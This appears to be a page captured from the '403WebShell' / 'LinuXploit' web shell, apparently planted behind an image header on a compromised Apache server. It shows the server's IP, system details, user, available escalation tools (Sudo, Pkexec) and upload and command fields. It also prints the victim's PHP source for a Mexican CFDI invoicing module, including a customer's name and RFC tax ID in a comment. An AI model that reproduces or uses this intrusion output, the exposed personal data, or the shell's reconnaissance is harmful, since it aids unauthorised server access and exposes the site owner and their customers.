����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 52.15.242.179
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/application/salesFactura_M/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/application/salesFactura_M/factura4.php
<?php
session_start();

		
		
setlocale(LC_TIME, 'es_MX.UTF-8');
date_default_timezone_set("America/Mexico_City");

require_once ("../model/dbconn.php");
		require_once ("../model/pos.php");


 


 $sale1= $_POST['id_sales'];
 //datos del cliente
 $client_name = $_POST['client_name'];
  $client_rfc = $_POST['rfc'];
 $FormaPago = $_POST['FormaPago'];
  $uso_cfdi= $_POST['uso_cfdi'];
  $notapdf = $_POST['nota'];
  $posForma= new pos();
  $FormaPago = $posForma->getFormakId($FormaPago)[1]['def'];
  $hoy = date("F j, Y, g:i a");   
  //consultamos los datos del cliente en tabla customer
		
		

/*
$sell_id=6342;
$sale1='J221221013'; 
$client_name="XOCHILT CASAS CHAVEZ";
$client_rfc = 'CACX7605101P8';
$uso_cfdi= 'G03';
$FormaPago = '01';
$notapdf = 'NA';
$client_id = 1;
 $hoy = date("F j, Y, g:i a");   
 */

		$client = new pos();
		$client_regimen = $client->getClientByRFC($client_rfc)[1]['phone'];
		$client_codigo = $client->getClientByRFC($client_rfc)[1]['country'];
		$mailC = $client->getClientByRFC($client_rfc)[1]['email1'];
		//print_r($client->getClientByRFC($client_rfc));
		
//revisamos el id de sell
$posSell_id = new pos();
$sells = $posSell_id->getListSellTemp($sale1);
//print_r($sells[1]); 
//

//insertamos los registros de cada folio  en temp_sale
	$pos = new pos();
	$operations=new pos();
		$operation23 = array();
	foreach($sells[1] as $venta){
		
		
		$operation23 = $operations->getOperations($venta['sale_id']);
		
		foreach($operation23[1] as $item){
			
			$check = $pos->getCheckProduk(20,$sale1,$item['id_item']);
			$jum = $check[1];
			
			if($jum >=1)
				{
					
					$update = $pos->updateTempSale(20,$sale1,$item['id_item']);
					$retval['result'] = $update[0];
					$retval['error'] = $update[1];
							
				}
				else
				{
					$tempSale = $pos->saveTempSale(20,$sale1, NULL,$item['id_item'],$item['barcode'],$item['unit'],$item['item_name'],$item['qty'],$item['price'],0,0);
					$retval['result'] = $tempSale[0];
					$retval['error'] = $tempSale[1];
				}
		
		}
	}

	
		
$respuesta='';

 $nombre_fichero = 'C:/xampp/htdocs/sdk2/timbrados/cfdi_factura_'.$sale1.'.pdf'; // Obtenemos la ruta al archivo de tu BD



if (!file_exists($nombre_fichero)) {
			
		if(isset($sale1))
		{	
			//ajustamos saldo updateSettingSaldo
						$updateSaldo = new pos();
						$saldox = $updateSaldo->updateSettingSaldo('Saldo-Fact'); 
						
			//revisamos saldo
						$posConfig = new pos();
							$saldo = $posConfig->getByPreffix("Saldo-Fact")[1]['val']; 
							
			//libreria de sdk2.php multifacturas
						$posSDK = new pos();
					     $lib_sdk = $posSDK->getByPreffix("lib_sdk")[1]['val']; 
											
						
			//folio de tabla facturacion
						$posFolioF = new pos();
						$FolioF = $posFolioF->getByFacturaMax();
						
						if($FolioF[1]['id'] > 0){
							 $FolioFactura = $FolioF[1]['id'] + 1;
						}else{
							 $FolioFactura = 1;
						}
			//verificamos el folio de venta en tabla facturas para ver si ya existe
						
							//solicitamos timbrado de factura
							
							$posConfig = new pos();
							//impuesto general
							$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
							//usuario multifacturas real
							$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
							//pass multifacturas real
							$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
							//detalles
							 $ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
							 $ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
							$settingsEmisor = $posConfig->getByPreffix('name_val')[1]['val']; 
							$settingsCP = $posConfig->getByPreffix('cp_val')[1]['val']; 
							$RegimenDemo = $posConfig->getByPreffix('Regimen_sat')[1]['val']; 
							$CodigoSatGenerico = $posConfig->getByPreffix('Sat_val')[1]['val']; 
							$settingsUnidadSat = $posConfig->getByPreffix('Sat_val_Unidad')[1]['val']; 
							$RFC_demo_Emisor = $posConfig->getByPreffix('rfc_val')[1]['val'];
							$RFC_nombre_Emisor = $posConfig->getByPreffix('name_val')[1]['val'];
							$PassDemoMulti= $posConfig->getByPreffix('Pass_Sat_demo')[1]['val'];
							$logo = $posConfig->getByPreffix('report_image')[1]['val']; 
							$emailPrincipal = $posConfig->getByPreffix('admin_email')[1]['val']; 
							//facturacion real SI(real)/NO(demo)
							$FacturacionReal = $posConfig->getByPreffix('demo_fac')[1]['val']; 
							
							
							
								  
								//***************** INICIA FUNCIONES MULTIFACTURAS*********************//
								
									//ejemplo factura cfdi 4.0

											// Se desactivan los mensajes de debug
											error_reporting(0);
											error_reporting(~(E_WARNING|E_NOTICE));

											// Se especifica la zona horaria
											date_default_timezone_set('America/Mexico_City');

											// Se incluye el SDK
												require_once '../../../sdk2/sdk2.php';

											// Se especifica la version de CFDi 4.0
											$datos['version_cfdi'] = '4.0';

											// Ruta del XML Timbrado
											$datos['cfdi']='../../../sdk2/timbrados/cfdi_factura_'.$sale1.'.xml';

											// Ruta del XML de Debug
											$datos['xml_debug']='../../../sdk2/timbrados/sin_timbrar_factura_'.$sale1.'.xml';

											// Credenciales de Timbrado
											$datos['PAC']['usuario'] = ''.$userMulti.'';
											$datos['PAC']['pass'] = ''.$passMulti.'';
											$datos['PAC']['produccion'] = ''.$FacturacionReal.'';

											$datos['conf']['cer'] = '../../../sdk2/certificados/'.$ArchCerDemo.'';
											$datos['conf']['key'] = '../../../sdk2/certificados/'.$ArchKeyDemo.'';
											$datos['conf']['pass'] = ''.$PassDemoMulti.'';
														

											//datos de Emisor
														$datos['emisor']['rfc'] = ''.$RFC_demo_Emisor.''; //RFC DE PRUEBA
														$datos['emisor']['nombre'] = "".$settingsEmisor."";  // EMPRESA DE PRUEBA
														$datos['emisor']['RegimenFiscal'] = ''.$RegimenDemo.'';

											// Datos del Receptor
														$datos['receptor']['UsoCFDI'] = $uso_cfdi;
														$datos['receptor']['rfc'] = $client_rfc;
														$datos['receptor']['nombre'] = utf8_encode($client_name);
														$datos['receptor']['DomicilioFiscalReceptor'] = $client_codigo;
														$datos['receptor']['RegimenFiscalReceptor'] = $client_regimen;

										
												
											// Se agregan los conceptos de todos los folios de ventas	
											
												$operations=new pos();
												$operation23 = array();
												$operation23 = $operations->getListTempSale(20,$sale1);			
												//print_r($operation23);
													$i=0;
													$impuesto=0;
													$subtotal=0;
													$subtotal0=0;
													$subtotal8=0;
													$subtotal16=0;
													$banderaCero = 1;
													foreach($operation23[1] as $operation){
														//echo $venta['sale_id'];
														
															//print_r($operation['id_item']);
																
																$pos = new pos();
																$result = array();
																$query = $pos->getItem($operation['id_item']);
																$data = $query[1];
																
																//print_r($data);
															echo '//////////////';	
															
															
																$result['tax'] = $data['tax'];
																$result['type_tax'] = $data['type_tax'];
																
																	
																	if($result['tax'] == 8){
																		$price_sin = number_format($operation['price']/1.08,2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}elseif($result['tax'] == 16){
																			 $price_sin = number_format($operation['price']/1.16,2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}else{
																		$price_sin = number_format($operation['price'],2);
																			 $price_sin = floatval(preg_replace('/[^\d.]/', '', $price_sin));
																	}
															if($result['tax']==0 && $result['type_tax']=="Exento" ){		
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																//'50211503' codigo sat
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Exento';
															}
															
															if($result['tax']==0){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.000000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = 0.00;
																
																//agregamos el producto tasa cero
																$valor0 = number_format( $price_sin*$operation['qty'],2);
																$valor = 0.00;
																$banderaCero=2;
																$subtotal0 = $subtotal0 + ($valor0);
															}

															//PRODUCTO CON TASA 16 o 8
															if($result['tax']==8){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';
																
																$valor1 = number_format(($price_sin*$operation['qty'])*0.080000,2);
																$valor1 = floatval(preg_replace('/[^\d.]/', '', $valor1));
																$valor0 = number_format($price_sin*$operation['qty'],2);

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.080000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
																$impuesto = number_format($impuesto + $valor1,2);

																$subtotal8 = $subtotal8 + ($price_sin*$operation['qty']);
															}
															
															if($result['tax']==16){	
																$datos['conceptos'][$i]['cantidad'] = $operation['qty'];
																$datos['conceptos'][$i]['unidad'] = $operation['unit'];
																$datos['conceptos'][$i]['ID'] = $operation['barcode'];
																$datos['conceptos'][$i]['descripcion'] =$operation['item_name'];
																$datos['conceptos'][$i]['valorunitario'] = $price_sin;
																$datos['conceptos'][$i]['importe'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['ClaveProdServ'] = $CodigoSatGenerico;
																$datos['conceptos'][$i]['ClaveUnidad'] = 'H87';
																$datos['conceptos'][$i]['ObjetoImp'] = '02';
																
																$valor1 = number_format(($price_sin*$operation['qty'])*0.160000,2);
																$valor1 = floatval(preg_replace('/[^\d.]/', '', $valor1));
																$valor0 = number_format($price_sin*$operation['qty'],2);

																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Base'] = $price_sin*$operation['qty'];
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';
																$datos['conceptos'][$i]['Impuestos']['Traslados'][0]['Importe'] = $valor1;
																$impuesto = number_format($impuesto + $valor1,2);	
																
																$subtotal16 = $subtotal16 + ($price_sin*$operation['qty']);
															}
																
																$subtotal = $subtotal + ($price_sin*$operation['qty']);
																
																$total = $subtotal + $impuesto ; 
																
																//echo "-------------------------------";
																//echo $valor1;
																$i=$i+1;	
														
														
														if($impuesto > 0){			
															// Se agregan los Impuestos SOLO EL QUE TIENE TASA >0 16 u 8
															if($result['tax']==8){	
																$datos['impuestos']['translados'][0]['Base'] = $subtotal8;
																$datos['impuestos']['translados'][0]['impuesto'] = '002';
																$datos['impuestos']['translados'][0]['tasa'] = '0.080000';
																$datos['impuestos']['translados'][0]['importe'] = $impuesto;
																$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
															}
															if($result['tax']==16){	
																$datos['impuestos']['translados'][0]['Base'] = $subtotal16;
																$datos['impuestos']['translados'][0]['impuesto'] = '002';
																$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
																$datos['impuestos']['translados'][0]['importe'] = $impuesto;
																$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';
															}
																//tasa cero
																if( $banderaCero == 2){
																	$datos['impuestos']['translados'][1]['Base'] = $subtotal0;
																	$datos['impuestos']['translados'][1]['impuesto'] = '002';
																	$datos['impuestos']['translados'][1]['tasa'] = '0.000000';
																	$datos['impuestos']['translados'][1]['importe'] = 0.00;
																	$datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa';
																}
														}else{
																$datos['impuestos']['translados'][1]['Base'] = $subtotal0;
																$datos['impuestos']['translados'][1]['impuesto'] = '002';
																$datos['impuestos']['translados'][1]['tasa'] = '0.000000';
																$datos['impuestos']['translados'][1]['importe'] = 0.00;
																$datos['impuestos']['translados'][1]['TipoFactor'] = 'Tasa';
															}
														
													}
											
											//termina folios for
														//total de impuestos
														$impuesto = floatval(preg_replace('/[^\d.]/', '', $impuesto));
														$datos['impuestos']['TotalImpuestosTrasladados'] = $impuesto;

											// Datos de la Factura
											$datos['factura']['condicionesDePago'] = 'CONTADO';
											$datos['factura']['descuento'] = '0.00';
											$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
											$datos['factura']['folio'] = $FolioFactura;
											$datos['factura']['forma_pago'] =  $FormaPago;
											$datos['factura']['LugarExpedicion'] = $settingsCP;
											$datos['factura']['metodo_pago'] = 'PUE';
											$datos['factura']['moneda'] = 'MXN';
											$datos['factura']['serie'] = 'A';
											

											$datos['factura']['subtotal'] =$subtotal;
											
											
											$datos['factura']['tipocambio'] = 1;
											$datos['factura']['tipocomprobante'] = 'I';
											$datos['factura']['total'] = $subtotal + $impuesto;
											$datos['factura']['Exportacion'] = '01';

												//asignamos los valores para insertarlos en la tabla subtotal e impuestos
														$subtotal1 = $subtotal;
														$impuesto1 = $impuesto;
									
													
									echo '<pre>';
									 print_r($datos);
									echo '</pre>';
									
									
									//borramos la tabla temporal temp_sale usuario id = 20(venta masiva)
													$posD = new pos();
													$delete = $posD->deleteTempSaleByUser(20);
													echo json_encode($delete);
									
										$posClient= new pos();
										
										if(empty($mailC)){
											$mailC = $emailPrincipal;
										}	
										 $user_id =  1;
										
										$uuid = 0;	
										 $total = $subtotal + $impuesto;
										
										$pos = new pos();	
										$insert = $pos->saveFacturaSell($mailC,$uuid,$client_rfc,$sale1,$sale1, $subtotal, $impuesto ,$total,8,$client_name,$user_id);
										$result['result'] = $insert[0];
										$result['error'] = $insert[1];
										echo json_encode($result);
													
											
									//verificamos que se guardo registro de prefactura status = 3;
									if($result['result'] == true){	
											//generamos XML	  
												$res = mf_genera_cfdi4($datos);
												
												foreach ($res AS $variable => $valor) {
														$valor = htmlentities($valor);
														$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
														echo "<b>[$variable]=</b>$valor<hr>";
														
												}
												
												
												echo  '-----------codigo mf---------------  '.$codigo_error= $res['codigo_mf_numero'];
												$name_codigo= $res['codigo_mf_texto'];
												echo $uuid= $res['uuid'];
												$total=$subtotal + $impuesto;
												$iva=$impuestoBD;
												$name = $client_name; 
												$rfc = $_POST['rfc']; 
												
												
												//generar el pdf
												$datosHTML['RESPUESTA_UTF8'] = "SI";
												$datosHTML['PAC']['usuario'] = ''.$userMulti.'';
												$datosHTML['PAC']['pass'] = ''.$passMulti.'';
												$datosHTML['PAC']['produccion'] = "".$FacturacionReal."";
												//MODULO MULTIFACTURAS : CONVIERTE UN XML CFDI A HTML
												$datosHTML['modulo']="cfdi2html";                                                //NOMBRE MODULO
												$datosHTML['rutaxml']=$datos['cfdi'];    //RUTA DEL XML CFDI
												$MombreEmisor= $settingsEmisor->val;
												$datosHTML['titulo']=''.$MombreEmisor.'';                                          //TITULO DE FACTURA
												$datosHTML['tipo']="FACTURA";  													//TIPO DE FACTURA VENTA,NOMINA,ARRENDAMIENTO, 
												$datosHTML['path_logo']="".$lib_sdk."certificados/oie_oie_trim_image.png";                          //RUTA DE LOGOTIPO DE FACTURA
												$datosHTML['notas']=$_POST['note'];                                       //NOTA IMPRESA EN FACTURA
												$datosHTML['color_marco']="#324273";                                             //COLOR DEL MARCO DE LA FACTURA
												$datosHTML['color_marco_texto']="#24B7C8";                                       //COLOR DEL TEXTO DEL MARCO DE LA FACTURA
												$datosHTML['color_texto']="#042125";                                             //COLOR DEL TEXTO EN GENERAL
												$datosHTML['fuente_texto']="monospace";                                          //FUENTE DEL TEXTO EN GENERAL   
												$res = mf_ejecuta_modulo($datosHTML);                                  //FUNCION QUE CARGA EL MODULO cfdi2html
												$HTML=$res['html'];                                     //HTML DEL XML           //RESPUESTA DE LA FUNCION CARGAR MODULO
												
												

												//////////////////////////////////////////////////////////////////////////////
												//CONVERTIR EL HTML DEL XML CFDI A PDF
												$datosPDF['PAC']['usuario'] = ''.$userMulti.'';
												$datosPDF['PAC']['pass'] = ''.$passMulti.'';
												$datosPDF['PAC']['produccion'] = "".$FacturacionReal."";
												$datosPDF['modulo']="html2pdf";                                                   //NOMBRE MODULO
												$datosPDF['html']="$HTML";                                                        // HTML DE XML CFDI A CONVERTIR A PDF
												$datosPDF['archivo_html']="";                                                     // OPCION SI SE TIENE UN ARCHIVO .HTML       
												$datosPDF['archivo_pdf']="".$lib_sdk."timbrados/cfdi_factura_".$sell_id.".pdf";
												//$datosPDF['archivo_pdf']="RUTA DONDE SE CREARA EL PDF/nombrearhivo.pdf";          //RUTA DONDE SE GUARDARA EL PDF
												$res = mf_ejecuta_modulo($datosPDF);   
														
												//*****************TERMINA FUNCIONES MULTIFACTURAS*************//
									
									echo '/////////////////////////////////////////////////////////////termina xml//////////////////////';
									die;
											if(file_exists($nombre_fichero)){
												
												$resultado= true;
												
												$respuesta = $uuid;
												$result['result'] = $resultado;
												$result['respuesta'] = $respuesta;
												$result['codigo_error'] = $codigo_error;
												$result['error'] = $name_codigo;
												 
												$posClient= new pos();
												$mailC = $posClient->getClientByRFC($client_rfc)[1]['email'];	
												if(empty($mailC)){
													$mailC = $emailPrincipal;
												}
												$user_id=1;
												
												
												
									echo '########################################################termina guardar factura//////////////////////';			
												//guardamos la factura generada
												if($result['result'] == true){
													//enviamos PARA ACTUALIZAR REGISTRO FACTURA GENERADA
													
													//eliminams sell temp
													$posDe = new pos();
													$deleteS = $posDe->deleteSellTempByUniqid($sale1);
													echo json_encode($deleteS);
													
													echo "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/facturaGen.php?uuid=$respuesta&sale_id=$sale_id';</script>";
												
												}else{
													$codigo = $res['codigo_mf_numero'];	
													$result['guarda_factura'] = false;
													$respuesta = 'Error al querer revisar gardado de factura generada en base de datos!!, codigo: ' + $codigo;
													echo json_encode($respuesta);
													
													//generamos error log de falla
													$test_object = new stdClass();
													$test_object->var = $respuesta.'-'.$hoy;
													$test_object->nombre = " Factura";
													error_log(print_r($test_object, true), 3, "Dental_log.log");
													
													
													
													echo "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact.php?error=$codigo&name_codigo=$respuesta';</script>";
													
												}
												
											}else{
												$codigo = $res['codigo_mf_numero'];	
												$resultado= false;
												$respuesta = 'No se encontro archivo xml o valida ruta de archivo, revisa codigo de facturacion!!!, codigo: ' + $codigo ;
												
												//generamos error log de falla
													$test_object = new stdClass();
													$test_object->var = $respuesta.'-'.$hoy;
													$test_object->nombre = " Factura";
													error_log(print_r($test_object, true), 3, "Dental_log.log");
													
												
												
												echo "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact.php?error=$codigo&name_codigo=$respuesta';</script>";
											}
									//si se intenta guardar nuevamente prefactura de da la excepcion
									}else{
									
									 $respuesta = 'se intento timbrar folio de prefactura folio'.'-'.$sell_id.' ErrorSQL: '.' '.$result['error'];
												 
												//generamos error log de falla
													$test_object = new stdClass();
													$test_object->var = $respuesta.'-'.$hoy;
													$test_object->nombre = " Factura";
													error_log(print_r($test_object, true), 3, "Dental_log.log");
													
										echo json_encode($respuesta);
										
													
										print "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact.php?name_codigor=$respuesta&error=3';</script>";
										
										
									}
									
						//}
			
		}else{
			//error de folio de venta no encontrado
				$result['result'] = false;
				$result['error'] = 'Error folio de venta no Encontrado';
				echo json_encode($result);
				
				$respuesta = $result['error'];
				 
				
				//generamos error log de falla
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
									
				print "<script>window.location='http://localhost/t/sae/application/salesFactura4.0S1/errFact.php?name_codigor=$respuesta&error=4';</script>";
															
									
		}	

	}else{
			//error de folio de venta no encontrado
				$result['result'] = false;   
				$result['error'] = 'No se Puede Timbrar dos veces un folio';
				$respuesta = $result['error'];
				echo json_encode($result);
				
									$test_object = new stdClass();
									$test_object->var = $result['error'].'-'.$hoy;
									$test_object->nombre = " Factura";
									error_log(print_r($test_object, true), 3, "Dental_log.log");
				
				
			    echo "<script>window.location='http://localhost/dentalAvil/application/salesFactura4.0S1/errFact.php?&error=2&name_codigo=$respuesta';</script>";
							
}			
	


	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit